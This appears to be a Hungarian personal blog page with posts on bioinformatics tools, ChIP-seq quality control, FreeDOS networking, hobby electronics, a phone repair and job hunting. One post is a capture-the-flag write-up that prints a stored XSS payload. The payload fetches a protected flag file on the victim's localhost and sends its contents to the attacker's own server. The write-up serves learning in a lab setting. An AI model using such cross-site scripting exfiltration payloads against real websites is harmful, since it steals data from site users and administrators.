Ha minden jól megy, és van jogosultásgunk, rendben van a kábel, akkor láthatjuk az óra adatait. Rakjuk rá a firmware-t:

~/.platformio/penv/bin/pio run --target upload

Lehet örülni.

Alapvetően elégedett vagyok a firmware-el. Az én órámban nincs GPS, ezért minden helymeghatározós app teljesen felesleges rajta. Az akkumulátor töltöttsége mutató néha furcsa értéket mutat, de többségében konzisztens. A lépésszámláló elég korrekt. A naptár nagyon kicsi ehhez a képernyőmérethez, de egy érintő tollal jól kezelhető. Ez utóbbi megállapítás igaz minden beviteli mezős funkcióra. A wifi jelszót az ujjaimmal nehéz lett volna beírni. Van hozzá okostelefonos app is, azt nem próbáltam.

Szerintem ez a firmware remek alap, hogy az ember testre szabja. Meg is lehet tekinteni a különböző forkokat a GitHub oldalon.

twatch_1.jpg

Szólj hozzá!

Címkék: programozás

Nagy nyelvi modellek a bioinformatikában

2026.03.01. 10:05 Travis.CG

A bioinformatikában is vannak divatok. Megjelenik valami új technológia, és hirtelen az válik minden probléma megoldásává. Ilyen volt a rejtett markov láncok a 2000-es évek elején, Hadoop 2008-ban, a mélytanulás 2017-ben, most pedig a nagy nyelvi modellek segítségével akarják a kutatók megfejteni a genomok titkait.

Az ötlet abból indul ki, hogy a DNS (vagy fehérje) lánc egyes régiói más funkciókkal bírnak, és ezen régiók sorrendje hasonló az emberi nyelv szerkezetéhez. Kétségtelen, hogy népszerű analógia, de szerintem teljesen téves. A nukleotid sorrend nem nyelv. Nem gondolatok közlésére való, hanem információ tárolásra, amit a megfelelő pillanatban elő kell hívni. Egy nyelvet egy három éves gyerek megért és használ. De én még egyetlen kutatóval sem találkoztam, aki folyékonyan beszélne DNS-ül.

Ez minden esetre az én véleményem, elképzelhető, hogy a nagy nyelvi modellek sikeresek lesznek. Inkább nézzük meg, eddig milyen eszközök és milyen sikerek vannak.

DNABERT

A DNABERT egy nyelvi modell a humán nem kódoló DNS szakaszokhoz. A tanítás során 512 bázispár hosszú szekvenciákat használtak különböző hosszúságú k-mer tokenizálással. A betanított modellt saját, kis elemszámú adattal mi magunk is testre szabhatjuk, hogy olyan struktúrát keressen, amilyet mi szeretnénk. Nyilvánvaló hátránya, hogy legfeljebb a core promóter elemzésére képes.

ERNIE-RNA

Második programunk szintén egy nagy nyelvi modell, de RNS szerkezeti predikcióra specializált. Korábban is léteztek egyszerű algoritmusok az RNS szerkezetének meghatározására, de azok csak a loopok meghatározására szoltáltak. Az ERNIE-RNA egy lépéssel tovább megy, mert a másodlagos szerkezet mellett funkcionális annotációt is végez. Személy szerint ennek több értelmét látom, mint a DNS elemzésnek. Először is, az RNS-ek rövidebbek, nem kell attól tartani, hogy távoli enhancerek befolyásolják az adott régió funkcionalitását. Másodszor a modell tanításához van elég cimkézett adat. A nem kódoló DNS-t még nem értjük teljes mélységében, ezért szerintem megfelelő tanuló adatot sem tudunk még összeállítani.

ESMFold

Ez a program a Facebook válasza az AlphaFold-ra, ugyanis egy nyelvi modell segítségével igyekszik meghatározni a protein 3D szerkezetet. A programot három éve nem fejlesztik, amiből én arra következtetek, hogy nem volt sikeres az AlphaFold ellen. Egyébként nem tudom, mennyire jó. Van viszont egy olyan funkciója, hogy a 3D struktúrából határozza meg az aminosav sorrendet. Ez elég érdekesnek tűnik, lehetne használni evolúciós modellezésre, mert lehetne nézni, hogy milyen aminosav sorrendek vezetnek ugyan olyan térbeli struktúrákhoz. A program arra is jó példa, hogy csak azért, mert LLM alapú valami, még nem lesz automatikusan sikeres. Még akkor sem, ha egy olyan cég támogatja, mint a Facebook.

Forrás

https://onlinelibrary.wiley.com/doi/10.1002/qub2.70026
https://academic.oup.com/bioinformatics/article/37/15/2112/6128680?login=false
https://www.nature.com/articles/s41467-025-66899-y
https://www.nature.com/articles/s41467-025-64972-0
https://www.nature.com/articles/s41592-021-01252-x
https://www.science.org/doi/10.1126/science.ade2574

Szólj hozzá!

Címkék: bioinformatika

A nagy átverés

2026.02.21. 11:25 Travis.CG

Az egyetem, ahol dolgozom, nagy hangsúlyt fektet a spamek visszaszorítására. Még online képzési anyagot is összeállítottak a felhasználók oktatására, amit kötelező volt elvégezni.

Egy hét elteltével megint kaptam egy spam-et, amit szokás szerint megvizsgáltam. A feladó valami office365online címről küldte a leveleket, amit könnyű összekeverni az office365-el, amit az egyetem is használ. Az első furcsa dolog az volt, hogy a spam UUID-t használt az URL-ben. Az eddigi spamek nem sokat foglalkoztak ilyesmivel, mindenki ugyan azt az emailt kapta. Az egyedi azonosító azt feltételezi, hogy van egy adatbázis is, ahol az UUID és az email címet összekapcsolják. Nem is mertek ráklikkelni, mert a szerver már azt is loggolhatja.

A támadók tehát bejegyeztek egy domaint, nem feltört oldalakról küldték a spam-et. Gondoltam megnézem az IP cím geolokációját. Itt jött a második meglepetés. A IP az egyetem hálózatához tartozott! Mi a fene? Feltörték az egyetem egyik szerverét és onnan küldik a spam-et? Ennyit ér a sok képzés, kibervédelem? Már az egyetemről kapjuk a spam-et?

Elkezdtem nézegetni a webszervert, hátha az UUID-s link nélkül is találok valamit, de nem találtam semmit. UUID ide vagy oda, kénytelen vagyok megnézni a linket. Mint az várható is volt, emailt és jelszót kértek, de a forráskód elemzéséből az derült ki, hogy nem volt HTML form-ba ágyazva. Teljesen összezavarodtam. Feltörnek egy szervert, adatbázissal megpakolt webszervert futtatnak rajta, spam-et küldenek, majd a lopott jelszavakat nem tárolják. Ennek semmi értelme!

Elkezdtem nézni a summit gombhoz tárolt eseményeket. A javascript kódban volt egy URL, amire akkor ugrik az oldal, ha a felhasználó ráklikkel. Megnézem mi az. Egy üzenet volt rajta: "Ne adja meg a jelszavát idegen weboldalakon. Köszönettel: IT részleg."

Francba! Az egyetem csak a képzés hatékonyságát mérte. A sok bohóckodásommal most biztos úgy tartanak nyilván, mint akinél nem volt eredményes az oktatás, és gondolkodás nélkül megadja mindenhol a jelszavát.

Szólj hozzá!

Címkék: biztonság

ChIP-seq minőségi ellenőrzés

2026.02.10. 08:04 Travis.CG

Az immunoprecipitáción alapuló szelvenálási módszerek sokkal körültekintőbb ellenőrzést igényelnek, mint a "hagyományos" DNS vagy RNS szekvenálás. Bár a címben ChIP-seq szerepel, az itt leírtak szinte minden immunoprecipitáción alapuló módszerre (CUT&RUN, ChIP-exo, Dip-seq) alkalmazhatóak.

Az első lépés természetesen a kapott FASTQ fájlok ellenőrzése például a FastQC programmal. Itt ugyan azok az elvek érvényesek, mint bármilyen más szekvenálás ellenőrzésénél, bár a szekvencia duplikáció magasabb lehet, mivel a teljes genomnak csak egy kis részét szekvenáljuk. Ha a FASTQ fájlok megfelelőek, akkor más módszereknél megnyugodhatunk, hogy az elemzéssel nem várható komoly gond (hacsak nincs kontamináció), viszont ChIP-seq akkor is lehet használhatatlan, ha a FASTQ fájlok tökéletesek.

A szekvenciák illesztése ugyan úgy zajlik, mint más esetben. Amennyiben adaptor szennyezést tapasztaltunk, természetesen azokat levághatjuk, de a BWA úgysem illeszti az idegen részeket. Az illesztett readek aránya ugyancsak hasznos információ, 90% alatt nem szabadna lennie.

Utána jöhet a peak keresés. Ezt legtöbbször a macs3-al végezzük, de meg kell jegyezni, hogy bár ez a legelterjedtebb peak kereső, vannak más alternatívák, és lehetnek olyan kísérleti elrendezések, ahol a macs3 nem a legjobb választás. Ökölszabályként elmondhatjuk, hogy 10 ezer alatti peakszám valami problémát jelent.

Az immunoprecipitáció nem egy egyszerű lépés, ezért minden mintát kétszer szekvenálnak meg. Van egy úgynevezett "input", ahol a szekvenálás immunprecipitáció nélkül történik. A párja természetesen az "IP", ahol a korábban említett lépést nem hagyják ki. Ez a két minta alkot egy egységet. Bár vannak bátrabb bioinformatikusok, akik input nélkül elemeznek, és tőlem is többször kérték, hogy "azért nézzük meg input nélkül is...", tudni kell, hogy a sokkal jobb jel-zaj arányt kapunk, kevesebb lesz a fals pozitív, ha inputot is használunk.

A peak fájlok BED formátumúak, a fő információ a kromoszóma koordináta, a legtöbb program azt használja, még akkor is, ha a macs3 további értékeket tárol.

ChIPQC

Ez egy nagyon jó R csomag lenne, ha nem tartalmazna 11 éves elavult függőséget, ami miatt a legújabb Bioconductor nem tartalmazza. Nekem is csak azért működik, mert kézzel forgattam a csomagot és a kérdéses függőséget. Használata nagyon egyszerű:

sample <- ChIPQCsample("ip.bam", peaks="NA_peaks.narrowPeak", annotation="hg19")

A két minta közül az IP-t kell megadni illesztésként, a peak fájlt, valamint a genom annotációját. Táblázatos formában megkapjuk az összes hasznos minőségi mutatót a következő paranccsal:

QCmetrics(sample)

Lássunk egy kimenetet:

      Reads    Map%  Filt%  Dup%  ReadL   FragL RelCC   SSD  RiP%
3320201.000 100.000 37.700 0.000 51.000 174.000 0.683 0.237 2.210 

Ez egy tipikusan rossz kísérletből származik. Habár a readek 100%-a illeszkedik a genomra (ez a duplikáció kiszűrése utáni BAM fájl, de eredetileg is 96% volt. És ezért 0% a Dup oszlop), a peakekre csak a readek 2,21% esik (RiP, read in peaks), ami nagyon rossz. Az SSD a normalizált lefedettségből készített hisztogram szórása, amire a dokumentáció azt írta, "minél nagyobb, annál jobb". Nos, jó kísérleteknél ez 20-40 is lehet, de tipikusan 2-3. A 0.237 nem elfogadható. Végül a RelCC egy olyan mérőszám, ami a forward és reverz readek lefedettsége között számol korrelációt.

DiffBind

Ez a csomag különbségeket keres a kezelt mintában, viszont van pár nagyon hasznos funkciója, amivel a minták minőségét vizsgálhatjuk. Ha vannak ismétléseink, és nem csak egy mintával akarjuk megváltani a világot, akkor fontos tudni, hogy van-e batch effekt, nem történt-e minta összecserélés, vagy bármi olyan, amit a laborosok kerek perec képtelenségnek tartanak (és amiről utólag kiderül, hogy nem is olyan képtelenség).

A program használatához készíteni kell egy DataFrame-et, ami tartalmazza a mintákat, illesztett BAM-ok, peak-ek elérési útját, kezelést, ismétlések számát, . Ezen kívül bármilyen más információt felvihetünk, de ez a minimum, ami szükséges.

sampleSheet <- data.frame(SampleID=c("c1","c2","em1", "em2"),
Tissue=c("unknown", "unknown","unknown","unknown"),
Treatment=c("control","control","treatment","treatment"), Replicate=c(1,2,1,2),
bamReads=c("bams/c1ip.bam", "bams/c2ip.bam", "bams/em1ip.bam", "bams/em2ip.bam"),
bamControl=c("bams/c1input.bam", "bams/c2input.bam", "bams/em1input.bam","bams/em2input.bam"),
Peaks=c("peaks/C1/c1_peaks.narrowPeak", "peaks/C2/c2_peaks.narrowPeak", "peaks/EM1/em1_peaks.narrowPeak"),
PeakCaller=c("narrow","narrow","narrow","narrow"))

Ezután létrehozunk egy adatbázist a fenti információkkal:

sample <- dba(sampleSheet = sampleSheet)

Ha megvagyunk az adatbázis elkészítésével, jöhetnek az érdekes plotok. Először is egy PCA:

dba.plotPCA(samples, label=DBA_ID)

Ha a minták nem a kísérleti elrendezés szerint csoportosulnak, akkor valami gond van.

Homer

A Homer egy mindent az egyben csomag. Nagyon könnyű használni, a nehézségét az adja, hogy annyi minden van beleépítve, hogy elsőre a felhasználó azt sem tudja, mit futtasson. Dedikált QC elemzés nincs benne, nem ír ki számokat, de az elemzés során ad szöveges megjegyzéseket a minőséggel kapcsolatban. Például a peakCall parancs adhat ilyen eredményeket:

Guessing sample is ChIP-Seq - uneven enrichment between same strand and
different strands - may have problems such as clonal amplification.

IGV

Bár az IGV nem számol semmit, segít, hogy egy általános képünk legyen az illesztésről. Ha szemmel nem látunk feldúsuló readeket, akkor a programok sem fognak peakeket találni.

Szólj hozzá!

Címkék: bioinformatika

FreeDOS hálózati beállítás

2026.02.01. 14:29 Travis.CG

Korábban három kívánságom volt egy FreeDOS-os laptoppal kapcsolatban: 1 SoundBlaster beállításokkal legyen hangja, lehessen netezni vele, működjön az USB. A Compaq csak az utolsót tudta teljesíteni, azt is kritikán alul. Olyan lassú rajta az USB, hogy jobban megéri CD-ről bootolni egy Linuxot, csatolni a FreeDOS meghajtót, rámásolni a stuffot és újraindítani. Hálókártya pedig nincs rajta, csak valami PCMCIA kártyával lehetne netet varázsolni rá, de eddig nem találtam megfelelő hardvert.

Régi laptopot viszont könnyebb szerezni, mint hálókártyát. Van egy HP OmniBook XE4500-am. Az aksija természetesen halott volt, de még lehet hozzá kapni utángyártott alkatrészt, úgyhogy nem nekem kellett szerelni.

Hátrányai: kissebb felbontások a képernyő közepén vannak, hatalmas fekete sávval körbevéve. Az SBEmu nem szereti a hangkártyát, az felejtős. Apropó hang. A HP-nál egy mérnök remek ötletnek gondolta, hogy a beep teljes hangerőn robbanjon a beépített hangszórókon. Ha megnyomom a TAB-ot, és nincs olyan fájl, amire kiegészíthetné, akkorát szól a gép, hogy a lakás másik végén megijed a gyerek. Egyik alkalommal véletlenül megtöltöttem a billentyőzet puffert, mire folyamatos teljes hangerőn pittyegett. Egy üres jack dugót szoktam a fülhallgató kimenetbe kötni, azzal némítom. Miért nem némítom a BIOS-ban? Természetesen azért, mert a BIOS beállítások olyan limitáltak, mintha egy táskarádiót akarnék testre szabni.

Viszont gyorsabb, nagyobb tárhelye van, mint a Compaq gépnek, a ventillátor csendesebb.

ÉS MEGY AZ INTERNET!

A FreeDOS hálózati képességek lelke a packet driver. Ha találsz drivert a hálókártyához, akkor lesz net, egyébként meg nem. Sajnos a laptophoz elérhető doksik elég kezdetlegesek, a hálókártya típusát nem sikerült meghatározni, ezért Linux alól szedtem némi információt. A gyártónak a Crywnr bizonyult, úgyhogy leszedtem minden packet drivert, ami valamilyen módon kapcsolódik ehhez a gyártóhoz, rámásoltam a gépre, és elkezdtem próbálgatni. Végül a C83815 drivre bizonyult jónak. Csupán egyetlen paramétert kell megadni, a szoftveres megszakítás címét. Ez a legtöbb esetben a 0x60.

C83815.COM 0x60

Utána jönnek a programok. Mivel a DOS-ban nincs dedikált hálózati alrendszer, ezért a programok egy konfigurációs fájlon keresztül szedik az információt, hogyan is kapcsolódjanak a netre. Az első program a DHCP.EXE, ami ezt az állományt előállítja.

DHCP.EXE

A program beállítja az ip-t, DNS-t, stb. és letárolja az C:\FREEDOS\MTCP.CFG fájlba. Mikor láttam, hogy a gép ip-t kapott, nagyon örültem. Meg akartam pingelni a routert.

PING 192.168.0.1

Kaptam egy szép hibaüzenetet: "Your DHCP lease expires in less than 3600 seconds" A Gemini szerint ez azért van, mert rossz a driver. Gondoltam magamban, hogy ez egy hülyeség, mert akkor nem lenne a gépnek ip címe sem. Mint kiderült az AI ezt egy fórum bejegyzésből vette, ahol az egyik hozzászóló szóról-szóra ezt írta. Szóval csak óvatosan ezekkel a gyorsan generált válaszokkal! Megoldást nem találtam, de mivel a hibaüzenet egy érték miatt volt, kézzel átírtam a lease értéket jó nagyra. És onnantól ment a ping!

A következő ötletem az volt, hogy valami értelmeset is csináljunk a nettel. Weboldalak szóba sem jöhetnek, mert hozzájáruló nyilatkozatokra sem tudok ráklikkelni. Nézzük meg az FTP-t! Kik használnak még anoním FTP-t? Hát persze, hogy a scenerek! (Meg persze a bioinformatikusok, de mit kezdjek egy genommal FreeDOS-on?)

FTP FTP.SCENE.ORG

Beléptem, és letöltöttem Tomcat Kocka demóját, majd elindítottam.

 dosnet.jpg

Módosítom a kívánságlistát: Nem kell USB támogatás a FreeDOS-os laptopra. Működő net és hangkártya kell.

Szólj hozzá!

Címkék: rendszergazda

Házi riasztó készítés (3. rész)

2026.01.25. 17:29 Travis.CG

A riasztó fals jelzései nagyon aggasztottak, ezért elkezdtem kicsit jobban utánajárni a dolgoknak. Először is, megnéztem, mások mit tapasztaltak az ultrahang szenzor pontosságával kapcsolatban. Habár a szenzornak van hibája, másoknál ekkora hibát nem eredményezett, mint nálam. Valamit rosszul csináltam.

Először készítettem egy másik, egyszerűsített összeállítást, ahol csak egy Arduino és egy szenzor volt összekötve. A hiba mértéke sokkal kisebb volt. Ezután elkezdtem cserélgetni a komponenseket. Másik szenzort, másik Arduinót használtam (mert a riaszóban egy Arduinó klón volt), de a szórás továbbra is alacsony maradt. Még azt is megnéztem, hogyan változik a mérés pontossága, ha nem 5V-al, hanem csak 3V-al táplálom a szenzort, de a pontosságot csak nagyon kis mértékben befolyásolta, hibahatáron belül volt.

Ez csak egyetlen dolgot jelenthet: a szervómotor áramfelvétele befolyásolja a mérést. Az én összeállításomban ugyanis a szervót is az Arduinó látja el árammal, amit nem tartanak jó ötletnek, de mivel a próbapaneles összeállítás alatt jól működött, gondoltam figyelmen kívül hagyom a javaslatot. Úgy látszik ez mégsem volt bölcs dolog.

A rendszert átalakítottam, hogy a szervót külső áramforrásból tápláljam. Három félig lemerült gombelemet forrasztottam össze, ami 8,5V-ot adott le. Gondoltam elég lesz a tesztekhez. Feltöltöttem a a kódot, és reménykedtem.

Sajnos a külső áramforrás nem volt elég a motornak, pár halk kattogást leszámítva nem csinált semmit, de a fals risztások száma lecsökkent. Nem szűnt meg teljesen, de lecsökkent.

A prototípusból a következő következtetéseket tudom levonni: A motor használata nem jó ötlet. Elveszi az áramot a többi komponenstől, elmászik a helyéről a riasztó forgatás közben, a szerkezet instabil lesz . Csak a gond van vele. Jobb lett volna 3 ultrahang szenzort használni, amelyek különböző irányokba mutatnak, mint egyet forgatni.

Szólj hozzá!

Címkék: barkácsolás

The sticker shop CTF

2026.01.11. 11:23 Travis.CG

Csupán egyetlen kérdést tettek fel, hogy mi a http://ip_cim:8080/flag.txt tartalma. Hmm, akkor ez valami webes bűvészkedés lesz. Az nmap és többi kutyafülét teljesen ki lehet hagyni.

A böngészőbe természetesen 403-as hibát kapunk, ha megpróbáljuk megnyitni a kérdéses fájlt. Tehát rá kell venni valakit, hogy öntudatlanul nyissa meg nekünk :-)

A weboldal nagyon egyszerű, van rajta két kép, meg egy ígéretes komment küldési lehetőség, amit a leírás szereint valaki feldolgoz. Ez az! Ő lesz a célpont.

Elindítottam egy webszervert a gépemen:

python3 -m http.server 80

Készítettem egy darab png képet is mouse.png néven, ha már úgyis macskás képek vannak.

Az első kísérletek nagyon bíztatóak voltak. Ha a komment szekcióba beírom a következő sort:

<script>fetch("http://my_machine_ip/mouse.png");</script>

A saját gépem webszerverén láttam, hogy a képet letöltik. Ezek szerint semmilyen JavaScript szűrés nincs, a weboldalon cross-site scripting sérülékenység van. Szuper! A feladat akkor, hogy kell írni egy JavaScript kódot, ami a rendszergazda gépén lefut letölti a flag.txt tartalmát (mert az a gép korlátozás nélkül hozzáfér a flag.txt-hez) és elküldi nekem.

Ekkor döbbentem rá, hogy már nagyon-nagyon régen írtam JavaScript kódot, és a világ kicsit megváltozott azóta. Az első sorban biztos voltam:

const result = fetch("http://127.0.0.1:8080/flag.txt")

A komment olvasójának a flag.txt a localhost-on lesz, a fájl tartalmát be kell olvasni. Az utána következő sorok rendre kudarcot vallottak, mert nem tartalmazták a letöltött fájlt. Némi keresgélés után rájöttem, mi a baj. Ez a folyamat aszinkron, tehát csak akkor szabad a második lépésre mennem, ha a letöltés befelyeződött.

.then(response => response.text())

Ha pedig megvan a fájl tartalma, jöhet egy új kérés az én szerverem felé, ahol GET-es paraméterrel letöltöm az egeres képet.

.then(data => {
   return fetch("http://my_machine_ip/mouse.png?" + data);
})

Elküldtem a kommentet, és vártam a csodát. Fél percen belül láttam is a letöltést. A kérdőjel után ott volta flag!

Szólj hozzá!

Címkék: biztonság

Izzasztó interjúk

2026.01.04. 19:03 Travis.CG

- Bemutatkozna, kérem?
- A nevem Bond, James Bond.
- Az önéletrajza nagyon impozáns. Legalább húszszor megmentette a világot.
- Huszontötször, hogy pontos legyek.
- Nem jelölt meg fizetési igényt.
- Mert nem számít, egészen addig, amíg a gazdasági igazgatóval blackjack-ezhetek.
- Cégünk határozottan elítéli a blackjack-et.
- Texas hold'em-ben is jó vagyok.
- Félreértett. Nem toleráljuk a szerencsejátékot. Miért jelentkezett cégünkhöz?
- A HR-es kisasszonynak szép a mosolya.
- Nem, nem, nem. Cégünk irányelvei határozottan tiltják a szexista megnyilvánulásokat.
- Egy vodka-martini mellett megbeszélném vele a részleteket. A fülembe súghatná azokat a szexista megjegyzéseket, csak, hogy tudjam, mitől óvakodjak.
- Köszönjük, hogy időt szakított ránk!

 

- Megtudhatnánk a nevét?
- Jack Bauer.
- Hogyan viszonyul a túlórákhoz?
- Néhányszor 24 óráztam.
- Nem okoz gondot Önnek szétválasztani ilyen esetekben a magánéletet a munkájától?
- A kettő összekuszálódik nálam, de ha megoldom az egyiket, valahogy a másik is megoldódik.
- Értem. Az önéletrajzában említi, hogy unortodox megoldási módszerei vannak. Mondana egy példát?
- Egyszer levágtam egy pedofil fejét...
- Köszönjük...
- Lábon lőttem egy barátom feleségét.
- Elég lesz...
- Fegyverrel leszállásra kényszerítettem egy utasszállító gépet.
- Most jut eszünkbe, nem is akarunk felvenni senkit.

 

- Mr. Hunt, meséljen az erősségeiről!
- Művészi szinten rajzolok, négy nyelven beszélek, bármilyen járművet elvezetek, tudok szájról olvasni, fotografikus memóriám van, búvárkodom felszereléssel, és anélkül, puszta kezes hegymászás a hobbim, szeretek futni. Nagy nyomás alatt is jó döntéseket hozok. Remekül dolgozom csapatban és egyedül is.
- Nagyon meggyőző! Lássunk egy példát a jó döntéseire. Képzeljük el, hogy közösségi médiában egy hátrányos hír jelenik meg a cégről. Hogyan kezelné az esetet?
- Hagynám, hogy a hírt minél több médium átvegye.
- Ez nem tűnik produktívnak...
- Hadd fejezzem be. Hagynám, hogy a rossz hír minél jobban aláássa a cég hírnevét. Mikor kijönnek az adóhatóság emberei, akkor mindent magamra vállalok és elmenekülök. A hajsza során több országon keresztül utaznék, majd az utolsó pillanatban megoldanám a problémát. Valószínűleg egy másodperccel a cég teljes felszámolása előtt, valamilyen hajmeresztő mutatvány kíséretében.
- Kihagyná a vezetőséget minden döntéséből?
- A vezetőségnek feltétlenül bíznia kell bennem és a képességeimben, még akkor is, ha semmilyen információt nem adok nekik.
- Más megközelítést nem tud elképzelni?
- Higyje el, ha lenne más megoldás, azt tenném.
- Értem. Hogyan viszonyul a mesterséges inteligenciához.
- Nem kedvelem. MI nélkül is mindig a legjobb döntést hozom.

 

- Mr. Statham, úgy tűnik Önnek szerteágazó tapasztalata van a legkülönbözőbb munkakörökben.
- Valóban. Voltam sofőr, méhész, építőipari munkás és biztonsági őr is.
- Miért váltogatta a munkahelyeket?
- Bárhová kerültem, mindig feltűnt egy szervezett bűnözői csoport, akik ártottak a velem élő embereknek.
- Mi történt a bűnözőkkel?
- Meghaltak.
- Ennek van köze ahhoz, hogy Ön korábban különlegesen kiképzett katona/kommandós/black ops/titkos ügynök/bérgyilkos volt?
- Nem, ez csak szokatlan egybeesés.
- Szokott Ön mosolyogni?
- Csak ha méreg van a szervezetemben.

Szólj hozzá!

Címkék: irodalom

Iphone képernyő és aksi csere

2025.12.31. 12:59 Travis.CG

A nevelésben az egyik legfrusztrálóbb dolog, hogy hiába mondok valamit a gyereknek, tuti, hogy nem hallgat rám. Másodszor is elmondom, arra sem figyel. Ezért harmadszor már nem ismétlem el az intelmeket, csak hagyom, hogy fejjel menjen a falnak, és akkor emlékeztetem: már kétszer figyelmeztettelek.

Azt hittem, a taktika működik, és egy idő után rájön, hogy figyelnie kellene a szüleire, de nem. Mintha egy láthatatlan tolmács a fejében mindent félre fordítana.

Másfél évvel ezelőtt kért egy telefont. Én a korábbi akciói után annyit mondtam, hogy neki is spórolnia kell rá, nem fizetjük ki a teljes vételárat, és nem kaphat új készüléket, csak használtat. Valamint ez lesz az utolsó készülék, amit tőlünk megkap.

Miután megkapta az ajándékot, az elején nem is volt semmi gond. Ahogy telt az idő, úgy vált szegény készülék egyre több agresszió áldozatává. Végül a képernyő megadta magát. A feleségemmel tartottuk is magunkat az ígéretünkhöz, és nem cseréltük ki, nem adtunk pénzt a javításra. Gyermekem kénytelen volt az összespórolt pénzét új kijelzőre költeni. Javasoltam neki, hogy ha már úgyis szét kell szerelni, vegyen bele új aksit is. A rendelési folyamatba is bevontam, hogy lássa, milyen opciók vannak.

Mikor az alkatrész árakat látva húzta a száját (pedig ezek még utángyártott alkatrészek voltak, nem is eredetiek), mondtam neki, hogy egy szervíz pluszba munkadíjat is felszámolna, én viszont ingyen kicserélem. Ez lesz a karácsonyi ajándékom.

Az iFixIt utasításait követtem. A képernyő ragasztója nagyon nehezen engedett. Fél óra melegítés után tudtam egy kis rést ejteni rajta. Utána is elég nehéz volt, de legalább megindult a szétválasztás. A képernyő leemelése után apró, 1mm-es csavarokat kellett eltávolítani, hogy a szalagkábelek csatlakozóihoz hozzáférjek.

iphone1.jpg

A rossz akkumulátor eltávolítása sem volt zökkenőmentes. A ragasztó szalagokat nem tudtam kihúzni, mert eltépődött valamennyi. Etil-alkoholt fecskendeztem az összeragasztott felületek közé, csak utána tudtam csak kivenni az akkumulátort.

iphone2.jpg

A leírás szerint a szenzorokat is ki kellett volna kötni, de mivel nekem lejött az egész képernyő, nem értettem, erre miért van szükség. Kicsomagoltam az új képernyőt, és akkor jött a döbbenet. A cserealkatrészen apró fém fülek voltak, amelyek hiányoztak az eredetiből. Ráadásul az új képernyő nem akart a helyére menni.

Teljesen tanácstalan lettem. Egy videó, és a két képernyő összehasonlítása után viszont rájöttem, hogy én nem kiszereltem a képernyőt, hanem szétszedtem azt. Egy műanyag keret továbbra is a telefonban van! Fogalmam sem volt, hogyan fogom onnan kibányászni. A videón egy pengével vágták körbe a képernyő és a hátlap közötti részt, így én is ezt tettem.

A keret eltávolítása után jöttem rá, miért kell a szenzorokat is kiszerelni. Azok ugyanis ebben a keretben foglaltak helyet. Ezt a lépést nagyon óvatosan csináltam, mert a szenzorok egy nagyon vékony kábel különböző pontjain helyezkedtek el, és nem akartam elszakítani semmit.

iphone3.jpg

A szenzorokat áthelyeztem az új képernyő megfelelő helyeire és visszakötöttem mindent. A kis csavarok persze nem akartak a helyükre ugrani, sőt többször össze is kevertem, melyik csavar melyik helyre megy. Alig láttam a hornyokat, így az sem volt egyértelmű, melyik bit kell a 144-ből, hogy be tudjam hajtani. A legjobban akkor izzadtam le, mikor ezek a pici vackok leestek a földre. Még szerencse, hogy a mágnes gyorsan megtalálta mindet.

iphone4.jpg

Sok próbálgatás után minden alkatrész a helyére került. Egy profi biztosan pár óra alatt megoldotta volna, nekem 13 óra volt, mire ismét be tudtuk kapcsolni. Viszont működött! Illetve először az iOS torkán is le kellett nyomni a szervízelést.

A bekapcsolás után ugyanis elkezdett nyivákolni, hogy nem eredetiek az alkatrészek, és nem tudja ellenőrizni az állapotukat. Az első 1-2 töltés szenvedés volt. Éjjel, kikapcsolt állapotban teljesen lemerült. Kiderült lányom a töltőkábellel sem bánt túl humánusan, az is kontakt hibás volt. Az Ultimate64-hez használt tápegységem sem volt elég jó ennek a nyomorult készüléknek, egyfolytában "lassú töltés" üzenetet adott. Miért nem elég neki 65W-t? A kábelcsere utána normalizálódott a helyzet, de addig kaptam a fejemre a lányomtól: Tönkretetted! Teljesen használhatatlan! Ez a te hibád! Nem fizetem ki az alkatrészeket, mert nem működik a telefon!

A javítás idejére odaadtam az egyik telefonomat, hogy azt használja. Hallottam, amikor a barátaival beszélgetett: Most apa telóját használom, olyan régi, hogy még emoji sincs rajta. Rossz helyen van az Y, mert ez egy béna telo. Laggolok!

Pedig nem is a PinePhone-t kellett használnia. Az lett volna csak a kultursokk!

A tablet szerelése után elég jól tudtam hasznosítani a hibás képernyőt, de az IPhone-ból semmi használhatót nem lehetett kinyerni.

1 komment

Címkék: barkácsolás

És amire jó vagyok

2025.12.20. 18:31 Travis.CG

Az előző poszt után nem sokkal rendeződtek a dolgok. Bár az NKFI pályázatba nem fértem bele, mert nem voltam elég fiatal, később kiderült, hogy van a csoportnak egy másik pályázata is, amiből tudnak fizetni nekem. Olyan gyorsan változnak a dolgok, hogy nem tudok velük lépést tartani.

Érdekes lett volna kipróbálni új dolgokat, megnézni, képes vagyok-e valami másra is, de nem jött össze. Úgyhogy maradok bioinformatikus. Ahogy Rambo mondja:

 

Szólj hozzá!

Címkék: életmód

Amire nem vagyok jó

2025.12.18. 11:49 Travis.CG

Úgy tudtam, nyárig van szerződésem, de kiderült ez sem igaz. A szerződés hosszabbítás csak December végéig szólt, amitől kicsit sürgetőbbé vált, hogy találjak valamit. Kiderült, ha lesz is szerződésem januárban, az sem nyárig, hanem már korábban lejár. Ezt is a munkaügyön tudtam meg.

Tehát mégtöbb helyre beadtam az önéletrajzomat. A következő állásokra vagyok alkalmatlan. A számok azt jelzik, hányszor utasítottak el (bár tényleges elutasítást csak 3-4 esetben kaptam, a többinél egyszerűen nem válaszoltak, és ha eltelt 20 nap, akkor úgy gondoltam, már nem is fognak).

  • SOC Analyst: 2
  • Python programozó: 1
  • PHP programozó: 1
  • Etikus hacker: 4
  • Ügyintézői alkalmazott: 1
  • Junior információbiztonsági szakértő: 1
  • Pentester: 5
  • Molekuláris biológus: 1
  • Data scientist: 2
  • DevOps rendszermérnök: 1
  • Bioinformatikus: 1
  • Senior Computational Biologist: 1
  • C fejlesztő: 1

Nagyon vigyáztam, hogy fizetési igényet ne jelöljek be. Ha mégis kötelező volt, akkor a mostani fizetésemnél alacsonyabb igényt írtam be. A bioinformatikus állásra legalább az első körös interjúra behívtak, ami csak a komptenciákat mérte fel, de úgy látszik, ott sem feleltem meg, mert a második körre már nem került sor. A cybersecurity pozíciók elutasításán annyira nem lepődtem meg, mert nincs szakmai tapasztalatom, de hogy PHP programozónak sem feleltem meg az sértette a hiúságom. Úgy értem, abban tényleg van tapasztalatom, tudtam felmutatni referenciákat, ráadásul egy kisvárosban volt az állás, ahol úgy gondoltam talán kisebb a konkurencia is.

A nagy állásgyűjtő portálok esetén mindig megnéztem, hogy a cég weboldalán fent van-e ugyan az a hirdetés, és csak utána jelentkeztem, mert sok esetben régi, már betöltött állások is fentmaradnak.

